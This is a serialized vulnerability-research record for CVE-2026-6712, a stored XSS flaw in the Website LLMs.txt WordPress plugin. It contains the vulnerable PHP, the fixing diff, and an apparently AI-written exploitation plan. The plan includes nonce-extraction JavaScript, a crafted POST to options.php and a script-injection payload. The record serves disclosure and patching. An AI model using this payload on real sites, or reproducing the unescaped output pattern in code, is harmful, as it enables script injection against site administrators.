[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f6-Ujctm4OEFw2QNBV4KLLNwigIc4cv7ev8hXogKzrcc":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":26,"research_verified":27,"research_rounds_completed":28,"research_plan":29,"research_summary":30,"research_vulnerable_code":31,"research_fix_diff":32,"research_exploit_outline":33,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":27,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":27,"source_links":37},"CVE-2026-6712","website-llmstxt-authenticated-admin-stored-cross-site-scripting","Website LLMs.txt \u003C= 8.2.6 - Authenticated (Admin+) Stored Cross-Site Scripting","The Website LLMs.txt plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 8.2.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.","website-llms-txt",null,"\u003C=8.2.6","8.2.7","medium",4.4,"CVSS:3.1\u002FAV:N\u002FAC:H\u002FPR:H\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-04-20 18:26:20","2026-04-21 06:44:02",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F2ab86a42-2a8f-4cbc-a754-a3e307b1b73f?source=api-prod",1,[22,23,24,25],"README.txt","admin\u002Fadmin-page.php","includes\u002Fclass-llms-generator.php","website-llms-txt.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-6712\n\n## 1. Vulnerability Summary\nThe **Website LLMs.txt** plugin (\u003C= 8.2.6) is vulnerable to **Authenticated (Admin+) Stored Cross-Site Scripting (XSS)**. The vulnerability exists in the admin settings page where post type names (labels) for the `llms.txt` file can be customized. Specifically, the plugin fails to sanitize the input when saving settings via the WordPress Settings API and fails to escape the output when rendering these values back into the `value` attribute of input fields in the admin dashboard.\n\nThis is particularly critical in WordPress Multisite environments or installations where `unfiltered_html` is disabled for administrators, as it allows them to bypass these restrictions and execute arbitrary scripts in the context of other administrative users.\n\n## 2. Attack Vector Analysis\n- **Vulnerable Page**: The plugin's settings page, typically found at `\u002Fwp-admin\u002Foptions-general.php?page=llms-generator` (inferred slug based on \"Settings → LLMs.txt\").\n- **Vulnerable Parameter**: `llms_generator_settings[post_name][POST_TYPE_LABEL]`\n- **Authentication Requirement**: Administrator (with permissions to manage plugin settings).\n- **Vulnerable Sink**: `admin\u002Fadmin-page.php` at line 107 and line 124.\n- **Preconditions**: The plugin must be active. The exploit is most relevant when the user is an Administrator in a context where `unfiltered_html` is disabled (e.g., Multisite).\n\n## 3. Code Flow\n1. **Entry Point (Input)**: The user submits the settings form in the admin dashboard. The form targets `options.php` (standard WordPress Settings API).\n2. **Persistence**: WordPress saves the `llms_generator_settings` array into the `wp_options` table. Due to missing or insufficient sanitization callbacks during `register_setting` (inferred), malicious HTML tags\u002Fattributes are stored.\n3. **Processing**: The plugin loads settings using `get_option('llms_generator_settings')` inside the `LLMS_Generator` constructor (`includes\u002Fclass-llms-generator.php`, line 24).\n4. **Sink (Output)**: When an admin visits the settings page, `admin\u002Fadmin-page.php` iterates through the available post types.\n5. **Vulnerable Execution**:\n   - At line 107 (for ordered types):\n     ```php\n     \u003Cinput type=\"text\" name=\"llms_generator_settings[post_name][\u003C?php echo esc_html($post_type->labels->name); ?>]\" value=\"\u003C?php echo $settings['post_name'][esc_html($post_type->labels->name)] ?? ''  ?>\"\u002F>\n     ```\n   - The value is echoed directly into the `value` attribute without using `esc_attr()`. This allows an attacker to break out of the attribute using `\">` and inject a script.\n\n## 4. Nonce Acquisition Strategy\nThe settings form uses the WordPress Settings API, which requires a nonce generated for the `llms_generator_settings-options` action.\n\n1. **Identify Page**: Navigate to the settings page `\u002Fwp-admin\u002Foptions-general.php?page=llms-generator` (or use `browser_navigate` to find the correct `options-general.php` submenu link).\n2. **Extract Nonce**: Since we are performing an authenticated exploit as Admin, we use the `browser_eval` tool to extract the nonce from the hidden input field generated by `settings_fields('llms_generator_settings')`.\n3. **JavaScript Execution**:\n   ```javascript\n   \u002F\u002F Extract the nonce from the settings form\n   const nonce = document.querySelector('input[name=\"_wpnonce\"]').value;\n   const referer = document.querySelector('input[name=\"_wp_http_referer\"]').value;\n   return { nonce, referer };\n   ```\n\n## 5. Exploitation Strategy\n### Step-by-Step Plan\n1. **Login**: Authenticate as an Administrator.\n2. **Access Settings**: Navigate to the LLMs.txt settings page to retrieve the required nonces and verify the correct post type labels (usually \"Posts\").\n3. **Payload Construction**:\n   - Target Parameter: `llms_generator_settings[post_name][Posts]` (assuming the \"Post\" type has the label \"Posts\").\n   - Payload: `\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>`\n4. **Submit Exploit**: Send a POST request to `\u002Fwp-admin\u002Foptions.php` using the `http_request` tool.\n5. **Verify Injection**: Navigate back to the settings page to trigger the script execution.\n\n### HTTP Request Details\n- **URL**: `http:\u002F\u002F\u003Ctarget>\u002Fwp-admin\u002Foptions.php`\n- **Method**: `POST`\n- **Content-Type**: `application\u002Fx-www-form-urlencoded`\n- **Parameters**:\n  - `option_page`: `llms_generator_settings`\n  - `action`: `update`\n  - `_wpnonce`: `[EXTRACTED_NONCE]`\n  - `_wp_http_referer`: `\u002Fwp-admin\u002Foptions-general.php?page=llms-generator`\n  - `llms_generator_settings[post_types][]`: `post` (Ensures the 'post' type is active)\n  - `llms_generator_settings[post_name][Posts]`: `\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>`\n\n## 6. Test Data Setup\n1. **Plugin Activation**: Ensure `website-llms-txt` is installed and activated.\n2. **User Creation**: Ensure an Administrator user exists.\n3. **Target Post Type**: Ensure the default \"Post\" type exists (standard in WP).\n4. **(Optional) Restriction**: To prove the severity, disable `unfiltered_html` for admins in `wp-config.php`:\n   ```php\n   define( 'DISALLOW_UNFILTERED_HTML', true );\n   ```\n\n## 7. Expected Results\n- After the POST request, WordPress should return a 302 redirect back to the settings page with `settings-updated=true`.\n- Upon following the redirect or visiting the settings page manually, the HTML source at the vulnerable input field will look like:\n  ```html\n  \u003Cinput type=\"text\" name=\"llms_generator_settings[post_name][Posts]\" value=\"\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>\"\u002F>\n  ```\n- A JavaScript alert box showing the document domain will appear in the browser.\n\n## 8. Verification Steps\n1. **Database Check**: Use WP-CLI to verify the payload is stored in the options table:\n   ```bash\n   wp option get llms_generator_settings --format=json\n   ```\n   Check if the `post_name` object contains the script tag for the \"Posts\" key.\n2. **Source Inspection**: Use `http_request` to GET the settings page and grep for the script tag:\n   ```bash\n   # Check if the script tag is present in the response body\n   grep \"\u003Cscript>alert(document.domain)\u003C\u002Fscript>\"\n   ```\n\n## 9. Alternative Approaches\n- **Multisite Context**: If the environment is a Multisite, perform the same steps as a Blog Admin. The script will execute when a Super Admin visits the site settings, potentially leading to Super Admin privilege escalation.\n- **Other Settings**: Check for other fields in `admin\u002Fadmin-page.php` that use `$settings`. For example, `llms_txt_title` or `llms_txt_description`. If they are also rendered without escaping, they serve as alternative injection points.\n  - Potential sink: `llms_txt_title` field at `admin\u002Fadmin-page.php:191` (inferred location in settings form).","The Website LLMs.txt plugin for WordPress is vulnerable to Stored Cross-Site Scripting via administrative settings in versions up to 8.2.6. This occurs because the plugin does not properly sanitize input or escape output for custom post type labels and file description fields, allowing administrators (particularly in multisite or restricted environments) to inject arbitrary JavaScript that executes in the context of other administrative users.","\u002F\u002F admin\u002Fadmin-page.php line 107 and 124\n\u003Cinput type=\"text\" name=\"llms_generator_settings[post_name][\u003C?php echo esc_html($post_type->labels->name); ?>]\" value=\"\u003C?php echo $settings['post_name'][esc_html($post_type->labels->name)] ?? ''  ?>\"\u002F>\n\n---\n\n\u002F\u002F admin\u002Fadmin-page.php line 317\n\u003Ctextarea name=\"llms_generator_settings[llms_txt_title]\" style=\"width: 100%;height: 40px;\">\u003C?php echo (isset($settings['llms_txt_title']) ? $settings['llms_txt_title'] : '') ?>\u003C\u002Ftextarea>\n\n---\n\n\u002F\u002F includes\u002Fclass-llms-generator.php line 468\nif(isset($this->settings['post_name'][$post_type_obj->labels->name]) && $this->settings['post_name'][$post_type_obj->labels->name]) {\n    $name = $this->settings['post_name'][$post_type_obj->labels->name];\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwebsite-llms-txt\u002F8.2.6\u002Fadmin\u002Fadmin-page.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwebsite-llms-txt\u002F8.2.7\u002Fadmin\u002Fadmin-page.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwebsite-llms-txt\u002F8.2.6\u002Fadmin\u002Fadmin-page.php\t2026-02-11 11:25:06.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwebsite-llms-txt\u002F8.2.7\u002Fadmin\u002Fadmin-page.php\t2026-03-13 18:44:40.000000000 +0000\n@@ -102,7 +102,7 @@\n                                 \u003Cdiv class=\"sortable-item active\" data-post-type=\"\u003C?php echo esc_attr($post_type->name); ?>\">\n                                     \u003Clabel>\n                                         \u003Cinput type=\"checkbox\" name=\"llms_generator_settings[post_types][]\" value=\"\u003C?php echo esc_attr($post_type->name); ?>\" checked>\n-                                        \u003Cinput type=\"text\" name=\"llms_generator_settings[post_name][\u003C?php echo esc_html($post_type->labels->name); ?>]\" value=\"\u003C?php echo $settings['post_name'][esc_html($post_type->labels->name)] ?? ''  ?>\"\u002F>\n+                                        \u003Cinput type=\"text\" name=\"llms_generator_settings[post_name][\u003C?php echo esc_attr($post_type->labels->name); ?>]\" value=\"\u003C?php echo esc_attr($settings['post_name'][$post_type->labels->name] ?? '')  ?>\"\u002F>\n                                         \u003Cspan class=\"dashicons dashicons-menu\">\u003C\u002Fspan>\n                                         \u003C?php echo esc_html($post_type->labels->name); ?>\n                                         \u003Csmall style=\"opacity: 0.7;\">(\u003C?php echo intval($indexed_count) . ' indexed of ' . intval($all_count); ?>)\u003C\u002Fsmall>\n@@ -117,7 +117,7 @@\n                             \u003Cdiv class=\"sortable-item\" data-post-type=\"\u003C?php echo esc_attr($post_type->name); ?>\">\n                                 \u003Clabel>\n                                     \u003Cinput type=\"checkbox\" name=\"llms_generator_settings[post_types][]\" value=\"\u003C?php echo esc_attr($post_type->name); ?>\"\u002F>\n-                                    \u003Cinput type=\"text\" name=\"llms_generator_settings[post_name][\u003C?php echo esc_html($post_type->labels->name); ?>]\" value=\"\u003C?php echo $settings['post_name'][esc_html($post_type->labels->name)] ?? ''  ?>\"\u002F>\n+                                    \u003Cinput type=\"text\" name=\"llms_generator_settings[post_name][\u003C?php echo esc_attr($post_type->labels->name); ?>]\" value=\"\u003C?php echo esc_attr($settings['post_name'][$post_type->labels->name] ?? '')  ?>\"\u002F>\n                                     \u003Cspan class=\"dashicons dashicons-menu\">\u003C\u002Fspan>\n                                     \u003C?php echo esc_html($post_type->labels->name); ?>\n                                     \u003Csmall style=\"opacity: 0.7;\">(\u003C?php echo intval($indexed_count) . ' indexed of ' . intval($all_count); ?>)\u003C\u002Fsmall>\n@@ -314,28 +314,28 @@\n                         \u003Clabel>\n                             \u003Cb>\u003C?php esc_html_e('LLMS.txt Title', 'website-llms-txt'); ?>\u003C\u002Fb>\n                         \u003C\u002Flabel>\u003Cbr\u002F>\n-                        \u003Ctextarea name=\"llms_generator_settings[llms_txt_title]\" style=\"width: 100%;height: 40px;\">\u003C?php echo (isset($settings['llms_txt_title']) ? $settings['llms_txt_title'] : '') ?>\u003C\u002Ftextarea>\n+                        \u003Ctextarea name=\"llms_generator_settings[llms_txt_title]\" style=\"width: 100%;height: 40px;\">\u003C?php echo esc_textarea($settings['llms_txt_title'] ?? '') ?>\u003C\u002Ftextarea>\n                         \u003Ci>\u003C?php esc_html_e('Set a custom title for your LLMs.txt file. This will appear at the top of the generated file before any listed URLs.', 'website-llms-txt'); ?>\u003C\u002Fi>\n                     \u003C\u002Fp>\n                     \u003Cp>\n                         \u003Clabel>\n                             \u003Cb>\u003C?php esc_html_e('LLMS.txt Description', 'website-llms-txt'); ?>\u003C\u002Fb>\n                         \u003C\u002Flabel>\u003Cbr\u002F>\n-                        \u003Ctextarea name=\"llms_generator_settings[llms_txt_description]\" style=\"width: 100%;height: 80px;\">\u003C?php echo (isset($settings['llms_txt_description']) ? $settings['llms_txt_description'] : '') ?>\u003C\u002Ftextarea>\n+                        \u003Ctextarea name=\"llms_generator_settings[llms_txt_description]\" style=\"width: 100%;height: 80px;\">\u003C?php echo esc_textarea($settings['llms_txt_description'] ?? '') ?>\u003C\u002Ftextarea>\n                         \u003Ci>\u003C?php esc_html_e('Optional introduction text added before the list of URLs. Use this to explain the purpose or structure of your LLMs.txt file.', 'website-llms-txt'); ?>\u003C\u002Fi>\n                     \u003C\u002Fp>\n                     \u003Cp>\n                         \u003Clabel>\n                             \u003Cb>\u003C?php esc_html_e('LLMS.txt After Description', 'website-llms-txt'); ?>\u003C\u002Fb>\n                         \u003C\u002Flabel>\u003Cbr\u002F>\n-                        \u003Ctextarea name=\"llms_generator_settings[llms_after_txt_description]\" style=\"width: 100%;height: 80px;\">\u003C?php echo (isset($settings['llms_after_txt_description']) ? $settings['llms_after_txt_description'] : '') ?>\u003C\u002Ftextarea>\n+                        \u003Ctextarea name=\"llms_generator_settings[llms_after_txt_description]\" style=\"width: 100%;height: 80px;\">\u003C?php echo esc_textarea($settings['llms_after_txt_description'] ?? '') ?>\u003C\u002Ftextarea>\n                         \u003Ci>\u003C?php esc_html_e('Optional text inserted right before the list of links or content entries. You can use it to add additional notes, context, or data usage information before the URLs begin.', 'website-llms-txt'); ?>\u003C\u002Fi>\n                     \u003C\u002Fp>\n                     \u003Cp>\n                         \u003Clabel>\n                             \u003Cb>\u003C?php esc_html_e('LLMS.txt End File Description', 'website-llms-txt'); ?>\u003C\u002Fb>\n                         \u003C\u002Flabel>\u003Cbr\u002F>\n-                        \u003Ctextarea name=\"llms_generator_settings[llms_end_file_description]\" style=\"width: 100%;height: 80px;\">\u003C?php echo (isset($settings['llms_end_file_description']) ? $settings['llms_end_file_description'] : '') ?>\u003C\u002Ftextarea>\n+                        \u003Ctextarea name=\"llms_generator_settings[llms_end_file_description]\" style=\"width: 100%;height: 80px;\">\u003C?php echo esc_textarea($settings['llms_end_file_description'] ?? '') ?>\u003C\u002Ftextarea>\n                         \u003Ci>\u003C?php esc_html_e('Final text appended at the bottom of the LLMs.txt file (e.g. footer, contact, or disclaimer information).', 'website-llms-txt'); ?>\u003C\u002Fi>\n                     \u003C\u002Fp>","The exploit requires administrative privileges. \n\n1. Authenticate to the WordPress admin dashboard.\n2. Navigate to the plugin settings page (Settings -> LLMs.txt) and locate the \"Post Types\" or \"LLMS.txt Title\" fields.\n3. Identify the nonce for the settings API (generated by `settings_fields('llms_generator_settings')`).\n4. Craft a payload to break out of the HTML attribute, such as `\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>`. \n5. Submit a POST request to `\u002Fwp-admin\u002Foptions.php` with the parameter `llms_generator_settings[post_name][Posts]` (or another field like `llms_txt_title`) containing the payload, along with the valid `_wpnonce` and `_wp_http_referer`.\n6. To trigger the XSS, navigate back to the settings page at `\u002Fwp-admin\u002Foptions-general.php?page=llms-generator`. The browser will execute the injected script because the plugin fails to use `esc_attr()` or `esc_textarea()` when echoing the stored setting value.","gemini-3-flash-preview","2026-04-27 14:10:21","2026-04-27 14:10:53",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","8.2.6","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwebsite-llms-txt\u002Ftags\u002F8.2.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwebsite-llms-txt.8.2.6.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwebsite-llms-txt\u002Ftags\u002F8.2.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwebsite-llms-txt.8.2.7.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwebsite-llms-txt\u002Ftags"]